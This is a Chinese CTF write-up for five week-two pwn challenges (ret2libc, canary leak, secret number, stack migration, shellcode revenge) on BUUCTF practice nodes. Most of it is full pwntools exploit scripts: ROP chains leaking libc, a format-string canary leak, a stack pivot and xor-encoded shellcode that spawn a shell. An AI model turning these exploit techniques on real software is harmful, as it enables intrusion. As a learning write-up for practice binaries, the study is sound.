简介:
第二周题目上难度了,有几题做的比较棘手不会做>_<,啊啊啊!!!
ret2libc
看题目名字ret2libc,就知道是经典的考点,泄露libc,不懂小伙伴可以去看这个上面写的很详细Pwn Pwn Pwn!!! 技巧(1),老规矩查看一下保护机制,只打开NX,并且该有的都有
ida反编译一下,发现无system,无binsh,所以我们只能通过泄露libc,构造system和binsh
exp如下:
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux',log_level='debug')
#io =process('./111')
io =remote('node4.buuoj.cn',25664)
elf =ELF('./111')
got_addr = elf.got['puts']
plt_addr = elf.plt['puts']
main_addr =0x400698
rdi_addr =0x400763
ret_addr =0x400506
payload =b'A'*(0x20 +8) +p64(rdi_addr) +p64(got_addr) +p64(plt_addr) +p64(main_addr)
io.recvuntil(b'Show me your magic again\n')
io.sendline(payload)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(hex(puts_addr))
#put_addr =u64(io.recv(6).ljust(8,b'\x00'))
#print(hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
payload=b'a'*(0x20 +8) +p64(ret_addr) +p64(rdi_addr) +p64(bin_sh) +p64(sys_addr)
io.recvuntil(b'Show me your magic again\n')
io.sendline(payload)
io.interactive()
canary
一样是一道经典题型canary,开启了canary和NX,还有格式化字符串漏洞,经典思路就是通过格式字符串去泄露canary(如果没有格式化字符串漏洞,那只能通过溢出的形式去泄露canary),但是我们需要在 gdb 里面找到canary是第几个参数,运行文件就可以发现偏移是6
ida反编译一下,你会发现有后门函数,就不需要像上一题一样要自己泄露libc了,同时还有格式化字符串漏洞,刚好可以帮我们打印出canary的值
把断点打在printf,gdb调试寻找canary的值,你就可以发现canary是第十一个参数(这个你不会看不出来吧 -_-),接下来就是套路了
exp如下:
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
#p = process('./111')
p = remote('node4.buuoj.cn',27406)
elf = ELF('./111')
backdoor =0x401262
ret_addr =0x40101a
payload =b'%11$p'
p.sendline(payload)
p.recvuntil(b'Oh thanks,There is my gift:\n')
canary = int(p.recv(18), 16)
payload =b'a'*(0x30 -8) + p64(canary) + p64(0) + p64(ret_addr) + p64(backdoor)
p.send(payload)
p.interactive()
secret number
老规矩查看一下保护机制,保护全开看着有点吓人,没事代码审计一下
认真代码审计,你就会发现只需要让 v5等于 secret就可以直接获得flag,v5是我们自己输入的,secret是一个伪随机数,所以我们只需要让时间做种子,输入伪随机数即可
exp如下:
from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
#p = process('./111')
p = remote('node4.buuoj.cn',28725)
elf = ELF('./111')
libc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
seed=libc.time(0)
libc.srand(seed)
num1=libc.rand()
p.sendlineafter(b'Give me some gift?(0/1)\n',b'0')
p.sendlineafter(b'Guess the number\n',str(num1))
p.interactive()
stack migration
只开启了NX,ida反编译,就会发现存在溢出,但是溢出的长度只有0x10,不够构造shellcode,所以只能通过栈迁移来解决这一问题
ida一下,代码审计一下,你会发现往buf里面输入数据,然后就会打印出栈地址,然后就是一个细节需要注意(红色框住的),v2地址就是栈地址 +8(这里你要明白栈是怎么存储数据的,高地址在下,低地址在上,这就是为什么加8的原因),第二个read发生了栈溢出,但是溢出的长度不足以构造rop链,所以只能进行栈迁移(leave; ret ; leave相对于是mov esp,ebp;pop ebp;ret是pop eip;)这样就简单明了了,下面就是需要注意一下接受数据(是否有空格,这里我踩坑了-_-)
exp如下:
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux',log_level='debug')
p =remote('node4.buuoj.cn',26912)
#p =process("./111")
elf =ELF('./111')
libc=ELF('./libc.so.6')
got_addr =elf.got['puts']
plt_addr =elf.plt['puts']
rdi_addr =0x401333
ret_addr =0x4012AB
main =0x4011FB
leave =0x4012AA
p.recvuntil(b'name:\n')
p.send(b'a'*8)
p.recvuntil(b'I have a small gift for you: ')
stack =int(p.recv(14),16) +8
p.recvuntil(b'more infomation plz:\n')
payload =b'a'*8 +p64(rdi_addr) +p64(got_addr) +p64(plt_addr) +p64(main)
payload =payload.ljust(80,b'a')
payload +=p64(stack) +p64(leave)
p.send(payload)
p.recvuntil("maybe I'll see you soon!\n")
puts_addr =u64(p.recvuntil(b'\x7f')[:6].ljust(8, b'\x00'))
libc_base = puts_addr - libc.sym['puts']
sys_addr = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b"/bin/sh\x00"))
p.recvuntil(b'name:\n')
p.send(b'a'*8)
p.recvuntil(b'I have a small gift for you: ')
stack =int(p.recv(14),16) +8
payload =b'a'*8 +p64(ret_addr) +p64(rdi_addr) +p64(bin_sh) +p64(sys_addr)
payload =payload.ljust(80,b'a')
payload +=p64(stack) +p64(leave)
p.send(payload)
p.interactive()
shellcode revenge
查看一下保护机制,开启NX和Canary,ida反编译一下,代码审计看的脑壳痛
把官方wp贴这里,后续懂了再来改
from pwn import
*context(arch='amd64',os='linux',log_level='debug')
p = remote("node4.buuoj.cn",27904)
#p = process('./shellcodere')
payload = b'\x33\x42\x38' #33 42 38 xor eax, DWORD PTR [rdx+0x38]
payload += b'\x31\x42\x30' #31 42 30 xor DWORD PTR [rdx+0x30], eax
payload += b'\x33\x42\x37' #33 42 38 xor eax, DWORD PTR [rdx+0x38]
payload += b'\x31\x42\x38' #31 42 38 xor DWORD PTR [rdx+0x38], eax
payload += b'\x59'*(0x30-len(payload)) #59 pop rcx
payload += b'\x4e\x44'*2 #syscall 0x4e^0x41=0xf 0x44^0x41=0x5
payload += b'A'*8 #xor key
p.sendlineafter("magic\n",payload)
pause()
p.sendline(b'\x90'*0x50+asm(shellcraft.sh()))
p.interactive()
总结:
栈迁移这块还不是很熟悉,shellcode的相关手法还得继续学习-_-,还得继续努力啊!!!